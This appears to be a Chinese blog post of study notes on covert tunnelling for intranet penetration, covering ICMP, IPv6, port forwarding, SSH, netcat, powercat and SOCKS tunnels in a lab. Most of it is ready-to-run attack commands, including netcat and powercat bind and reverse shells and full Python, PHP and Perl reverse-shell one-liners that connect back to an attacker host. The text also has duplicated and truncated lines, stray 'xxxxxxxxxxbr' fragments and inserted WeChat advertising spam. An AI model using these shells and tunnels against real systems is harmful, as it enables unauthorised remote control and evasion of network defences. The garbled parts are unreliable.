前言
前段時間讀了讀徐哥的《內網安全攻防》,并復現了部分知識點,寫篇文章記錄下學習內容。
何為隱藏通信隧道技術?
意義
當我們成功殺入內網并完成信息收集后,下一步要進行的就是判斷內網的連通性(也就是各種各樣的流量包能否出的去、進的來),隱藏通信隧道技術通常用于在訪問受限的內網環境中完成內網之內、內網與公網之間安全、穩定的數據傳輸。
簡介
在最簡單的情況下,兩臺主機之間數據的交換建立在TCP/IP協議之上,也就是說知道了IP、建立了TCP連接,那么兩臺主機便可以進行數據傳輸。
但在大多數情況下,內網的環境存在多種邊界設備以及入侵檢測裝置的限制,它們會對主機間或者內網與外網之間通信的流量進行檢測,如果存在異常就會進行攔截,這無疑給內網滲透增加了難度,而隱藏通信隧道技術就是為了繞過各種邊界設備的封鎖,從而完成主機間或內網與外網之間的通信。
常見隧道
- 網絡層:IPV6隧道、ICMP隧道
- 傳輸層:TCP隧道、UDP隧道、端口轉發
- 應用層:SSH隧道、HTTP(S)隧道、DNS隧道
接下來將從三種隧道中各選幾種進行試驗
網絡層
1.IPV6隧道
- 工具:6tunnel(kali自帶)
- 目標機:winserver 2008
- 攻擊機:kali
首先開啟目標機上的IPV6(實戰中這一步一般由滲透測試人員上傳的軟件開啟)

查看目標機的IPV6地址

在攻擊機中運行
sudo su
6tunnel -4 80 fe80::6090:bbdf:8c09:68d6%eth0 80


這條命令的含義就是將目標機的80端口(目標機使用IPV6地址)轉發到本機的80端口上(本機使用IPV4地址)

2.ICMP隧道

2.ICMP隧道
在一般的情況下,如果兩臺主機要進行通信,必須要開放相應的端口,比如ssh-22端口,rdp-3389端口,但如果使用ICMP隧道,則不需要開放任何的端口,所以ICMP隧道十分簡單、實用
在滲透測試中,如果防火墻對各種上層協議(HTTP.HTTPS,DNS等)的數據包進行了封鎖,那么我們可以嘗試一下網管常常漏掉的ICMP協議包,我們可以將TCP數據包封裝到ICMP數據包中,如果防火墻不對ICMP包進行攔截,那么我們便可以實現對防火墻的突破
- 工具:icmpsh
- 下載地址:https://gitee.com/WeiyiGeek/icmpshell.git(github下載太慢,就換了個國內的)

安裝Python的impacket類庫,以便于對各類協議進行訪問
apt-get install python3-impacket



直接從github上下載源碼并運行地址:
直接從github上下載源碼并運行地址:
python setup.py install
+WX:machinegunjoe666 免費獲取資料 免費獲取資料


如此impacket便安裝成功
由于icmpsh要代替系統本身的ping應答,所以要關閉一下系統的ping應答,否則工具將無法穩定運行
sysctl -w net.ipv4.icmp_echo_ignore_all=1



進入目錄后運行
./run.sh



依次輸入攻擊機IP和受害機IP便會自動輸出需要在受害機上運行的命令
在受害機運行

在攻擊機上便可以見到回彈shell


工具:pingtunnel
本次測試網絡拓撲圖:

測試環境:攻擊機可以訪問web服務器,不能訪問數據庫服務器
web服務器只能通過ICMP協議訪問數據庫服務器
滲透目標:利用工具使攻擊機可以訪問數據庫服務器的3389
首先要安裝工具
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install



wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure


最后一步過程中又會報Neither flex nor lex was found的錯誤:
install



接下來還要在web服務器上安裝工具,安裝過程類似不多贅述
接下來還要在web服務器上安裝工具,安裝過程類似不多贅述
在web服務器運行命令
ptunnel -x haixian
一個密碼為haixian的icmp隧道
接下來在攻擊機上執行
ptunnel -p 192.168.1.5 -lp 1080 -da 192.168.1.2 -dp 3389 -x haixian



接下來訪問本機的1080端口便可以連接到數據庫服務器的遠程桌面了(3389)
接下來訪問本機的1080端口便可以連接到數據庫服務器的遠程桌面了(3389)


同理,我們可以連接數據庫服務器的SSH(22端口)或者數據庫服務(如果是MySQL的話為3306端口),這里不再贅述可以連接數據庫服務器的SSH(22端口)或者數據庫服務(如果是mysql的話為3306端口),這里不再贅述
傳輸層
1.端口轉發
工具:lcx
下載地址:
http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip
lcx是一個非常經典的端口轉發工具,在linux或者windows中均可使用,lcx的原理就是搭建Socket隧道,一個正常的Socket隧道必須具備兩端:客戶端、服務端,服務端開啟監聽端口,客戶端傳入服務端的IP與端口,主動與服務端連接
在受害機上執行
lcx.exe -slave 192.168.1.4(攻擊機IP) 4444 127.0.0.1 3389


這條命令的意思就是將本機的3389端口轉發到攻擊機的4444端口上
之后在攻擊機上執行
./portmap -m 2 -p1 4444 -h2 192.168.1.4 -p2 5555


這條命令的意思就是將本地4444端口接收的數據轉發到5555端口


在攻擊機訪問本機5555端口

可見成功訪問受害機遠程桌面(3389端口)

2.netcat
kali上會自帶這個工具,可以使用
nc -help


查看netcat的安裝情況


-p 指定端口-v 顯示細節-u 使用UDP傳輸協議-l 監聽模式-w 設置超時時間


Banner抓取
這是一種在特定端口檢索關于特定服務信息的技術,在滲透測試中常用于信息收集或者尋找漏洞
現在我們嘗試抓取winserver 2008(192.168.1.2)3389端口的相關信息
nc -nv 192.168.1.2 3389


使用
nc -nvv 192.168.1.2 3389


嘗試連接3389

端口掃描
掃描80端口
nc -v 192.168.1.2 80



獲得shell
獲得shell
(1).正向shell).正向shell
即攻擊機主動去連接受害機,正向連接使用頻率較少,因為這種shell很容易被各種邊界設備所攔截
在受害機中執行
nc -lvp 4444 -e /bin/sh


這條命令的意思是把/bin/sh發送給請求本機4444端口的終端


nc 192.168.1.5 444


去主動連接受害機的4444端口

在攻擊機上使用ifconfig查看IP發現已經是受害機的IP
(2).反向shell
即受害及主動來連接攻擊機,這種方法在滲透測試中更為常用,因為它可以突破許多邊界設備的封鎖
在攻擊機上執行
nc -lvp 5555


開始監聽本機5555端口

接下來在受害機中執行
nc 192.168.1.4 5555 -e /bin/sh


這條命令的意思就是去主動連接攻擊機的5555端口并把/bin/sh傳送給5555端口


可以看到在攻擊機上已經收到了受害機的shell
但這個實驗是建立在受害機已經安裝netcat這個工具了,而實際情況下如果沒有安裝應該怎么辦呢?
1.使用python反彈shell
執行如下命令,在攻擊機上監聽本地1234端口

在受害機中執行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻擊機IP",攻擊機監聽的端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'



攻擊機上收到回彈shell

但是這種方法又建立在受害及上存在python環境的情況下
如果受害機上沒有python環境怎么辦呢?
2.php反彈shell
如果沒有python環境,但受害機上存在php環境,那么也可以利用php反彈shell
執行如下命令,在攻擊機上監聽本地2021端口

在受害機上執行
php -r '$sock=fsockopen("攻擊機ip",攻擊機監聽的端口);exec("/bin/bash -i <&3 >&3 2>&3");'





那如果在受害機上既沒有python環境又沒有php環境該怎么辦呢?ython環境又沒有php環境該怎么辦呢?
3.perl反彈shell
如果目標機器上使用的是perl語言,那么我們還可以使用perl反彈shell
攻擊機本地監聽4321端口
nc -lvp 4321



perl -e 'use Socket;$i="攻擊機ip";$p=攻擊機監聽端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -e 'use Socket;$i="攻擊機ip";$p=攻擊機監聽端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'



實驗工具:web服務器(kali)、數據庫服務器(win server 2008)、攻擊機(kali)
實驗工具:web服務器(kali)、數據庫服務器(win server 2008)、攻擊機(kali)
本次實驗網絡拓撲圖:

實驗條件:攻擊機可以訪問到web服務器,但訪問不到數據庫服務器,web服務器可以訪問攻擊機,也可以訪問數據庫服務器,攻擊機無法直接訪問數據庫服務器,通過前期滲透已經取得了web服務器的權限



nc -lvp 9999 -e c:windowssystem32cmd.exe
nc -lvp 9999 -e c:windowssystem32cmd.exe


將本機的cmd.exe傳送到請求9999端口的主機
.1.4 9999 -c "nc -v 192.168.1.2 9999"


這條命令的意思就是web服務器先去連接攻擊機,連上之后立刻去連接數據庫服務器的9999端口,連接成功后把兩個隧道合并為一條隧道(請自行腦補~)

3.Powercat

3.Powercat
工具下載地址:
https://github.com/besimorhino/powercat
工具下載后需要導入powercat.ps1腳本后才可以正常使用powercat
執行
Import-Module .powercat.ps1


導入腳本,有可能會報權限不夠,需要修改權限

執行
Set-ExecutionPolicy RemoteSigned


然后就可以導入腳本了

如圖所示,接下來就可以正常的使用powercat了
powercat部分參數介紹
-c 指定一個ip地址
-p 指定一個端口
-v 顯示詳情
-l 監聽模式
-e 程序重定向


通過nc正向連接powercat
在win server 2008中執行
powercat -l -p 8888 -e cmd.exe -v


這條命令的意思是把cmd.exe數據包發送給請求本機8888端口的主機

在攻擊機中執行
nc 192.168.1.2 8888 -vv



可以看到已經接收到了win server2008 的shell
使用nc反向連接powercat
在攻擊機中執行
nc -l -p 5678 -vv


開啟監聽本機5678端口

接下來在win server2008執行
powercat -c 192.168.1.4 -p 5678 -v -e cmd.exe


主動去連接攻擊機

可以看到在攻擊機中收到了反彈shell

powercat之間互相連接反彈powershell
首先在win server 2008上執行
powercat -l -p 3333 -v


監聽本機3333端口

接下來在WIN7上執行
powercat -c 192.168.1.2 -p 3333 -v -ep



可以看到在win server 2008上已經收到了來自WIN7的powershell

應用層
1.SSH
幾乎所有的unix/linux主機都支持SSH協議,都可以通過SSH通信而在現實情況中,網管員經常會使用SSH連接來遠程管理內網中的主機,所以一般情況下,邊界設備并不會攔截SSH流量,加之SSH流量是加密的,一般的入侵檢測工具很難檢測出SSH流量的異常,所以滲透測試人員往往能通過SSH建立起一些其他隧道難以建立的TCP通信隧道
SSH常見參數
-C 壓縮傳輸
-f 后臺執行SSH
-N 建立靜默連接
-g 允許遠程主機連接本地用于轉發的端口
-L 本地端口轉發
-R 遠程端口轉發
-D 動態轉發
-P 指定SSH端口


(1).本地轉發
本次實驗網絡拓撲圖:

實驗環境:攻擊機無法訪問數據庫服務器,可以訪問web服務器且已獲得web服務器的權限,web服務器和數據庫服務器可以互相訪問
實驗目標:通過本地端口轉發,訪問攻擊機本地的2021端口便可以打開數據庫服務器的遠程桌面
首先在攻擊機上執行
ssh -CfNg -L 2021:192.168.1.2:3389 [email protected]
+WX:machinegunjoe666免費獲取資料


這條命令的意思就是攻擊機去連接web服務器,連上之后由web服務器去連接數據庫服務器的3389端口并把數據通過SSH通道傳給攻擊機

會提示輸入web服務器的密碼,輸入密碼
由于我們選擇的是靜默模式,所以可以本地查看一下2021端口是否被監聽來檢查通道的建立是否正常
netstat -tulnp | grep "2021"



可以看到2021端口正在被ssh服務監聽,證明通道搭建成功
接下來在攻擊機訪問把本地2021端口即可打開數據庫服務器的遠程桌面
rdesktop 127.0.0.1:2021



(2).遠程轉發
本次實驗網絡拓撲圖:

實驗環境:
攻擊機無法訪問數據庫服務器,也無法訪問web服務器但已獲得web服務器的權限,web服務器和數據庫服務器可以互相訪問,web服務器可以訪問具有公網IP的攻擊機
實驗目標:通過訪問攻擊機本機的7890端口來訪問數據庫服務器的3389端口
在web服務器上執行
ssh -CfNg -R 7890:192.168.1.2:3389 [email protected]


這條命令的意思是此時的web服務器雖然依舊是跳板,但是無論是連接數據庫服務器的3389還是去連接攻擊機的7890都是web服務器主動發起

輸入攻擊機的密碼
在攻擊機訪問本地7890端口
rdesktop 127.0.0.1:7890



(3).動態轉發
本次實驗網絡拓撲圖:

連接成功
ssh -CfNg -D 6000 [email protected]


此條命令搭建了一個動態的SOCKS代理通道
輸入web服務器密碼后執行
netstat -tulnp | grep ":6000"


查看連接情況

連接成功
例:在本地瀏覽器設置好SOCKS代理后可以訪問到數據庫服務器上開放的web服務


2.HTTP/HTTPS隧道
這種隧道筆者已經在文章
https://www.freebuf.com/articles/web/262820.html中已經講解,這里不多贅述
3.SOCKS代理
SOCKS可以簡單的把兩個系統連接到一起,SOCKS支持多種協議,可以理解為升級版的lcx
常見工具:EarthWorm、SocksCap64、ProxyChains
(1).EW
工具下載地址:
https://github.com/rootkiter/EarthWorm
正向代理
攻擊機本地執行
ew -s ssocksd -l 888


這種連接方式是攻擊機主動去找受害機,所以這里的受害機需要具有公網IP(攻擊機可以直接去訪問受害機)
反向代理
本次實驗網絡拓撲圖:

首先在攻擊機上執行
./ew_for_linux64 -s rssocks -l 1080 -e 1234


在本地添加轉接隧道,將1080收到的數據轉發給1234端口

在web服務器上執行
ew.exe -s rssocks -d 192.168.1.4 -e 1234


可在攻擊機上收到回顯

至此,socks代理隧道搭建成功,攻擊機便可以通過此隧道訪問受害機任意服務(服務開啟)
二級網絡環境試驗1:
本次實驗網絡拓撲圖:

實驗環境
web服務器可以訪問外網和數據庫服務器,數據庫服務器不能訪問外網,只能訪問內網資源
實驗目標:通過訪問攻擊機本地端口訪問架設在數據庫服務器上的SOCKS隧道從而訪問內網資源
首先在主機上執行
./ew_for_linux64 -s ssocksd -l 888


啟動888端口的SOCKS代理

然后在web服務器中執行
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.1.4 -g 888



使web服務器去主動連接攻擊機和數據庫服務器
接下來就可以通過訪問攻擊機的1080端口去使用搭建好的SOCKS隧道了
二級網絡環境試驗2:
本次實驗網絡拓撲圖:
實驗環境:
A主機沒有公網IP但可以訪問公網,不可以訪問內網,B主機可以訪問內網,不能訪問外網
實驗目標:
通過訪問攻擊機上的10800端口來訪問B主機上的SOCKS隧道,從而訪問內網資源
首先在攻擊機上執行
./ew_for_linux64 -s lcx_listen -l 10800 -e 888
xxxxxxxxxxbr ./ew_for_linux64 -s lcx_listen -l 10800 -e 888br
添加轉接隧道,將10800端口收到的代理請求轉發到888端口
下面在B主機中執行
ew_for_Win.exe -s ssocksd -l 999
xxxxxxxxxxbr ew_for_Win.exe -s ssocksd -l 999br
開啟999端口的SOCKS代理
最后,在A主機中執行
./ew_for_linux64 -s lcx_slave -d 192.168.1.4 -e 888 -f 192.168.1.2 -g 999
xxxxxxxxxxbr ./ew_for_linux64 -s lcx_slave -d 192.168.1.4 -e 888 -f 192.168.1.2 -g 999br
利用slave方式,將攻擊機的888端口與B主機的999端口連接
可以在攻擊機上看到隧道搭建成功提示
接下來可以使用SocksCap64等代理工具對socks隧道進行利用,方法較為簡單,這里不再贅述
寫在后面
這篇文章比較長,感謝讀到最后的你~